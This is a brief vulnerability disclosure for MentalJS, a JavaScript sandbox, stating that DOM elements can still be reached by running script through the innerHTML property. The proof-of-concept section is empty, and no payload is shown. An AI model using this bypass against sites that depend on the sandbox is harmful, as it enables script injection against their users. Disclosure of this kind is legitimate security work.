============
Description
============

Mentaljs is a js sandbox created by Gareth Heyes, the JS sandbox is
inserted at beginning of the html response, therefore preventing the
attacker to access dom elements.

============
Vulnerability
============

It was still possible to access DOM elements with mental js enabled by
executing javascript via document.inner.HTML property.


================
Proof of concept
================

The POC is as follows:
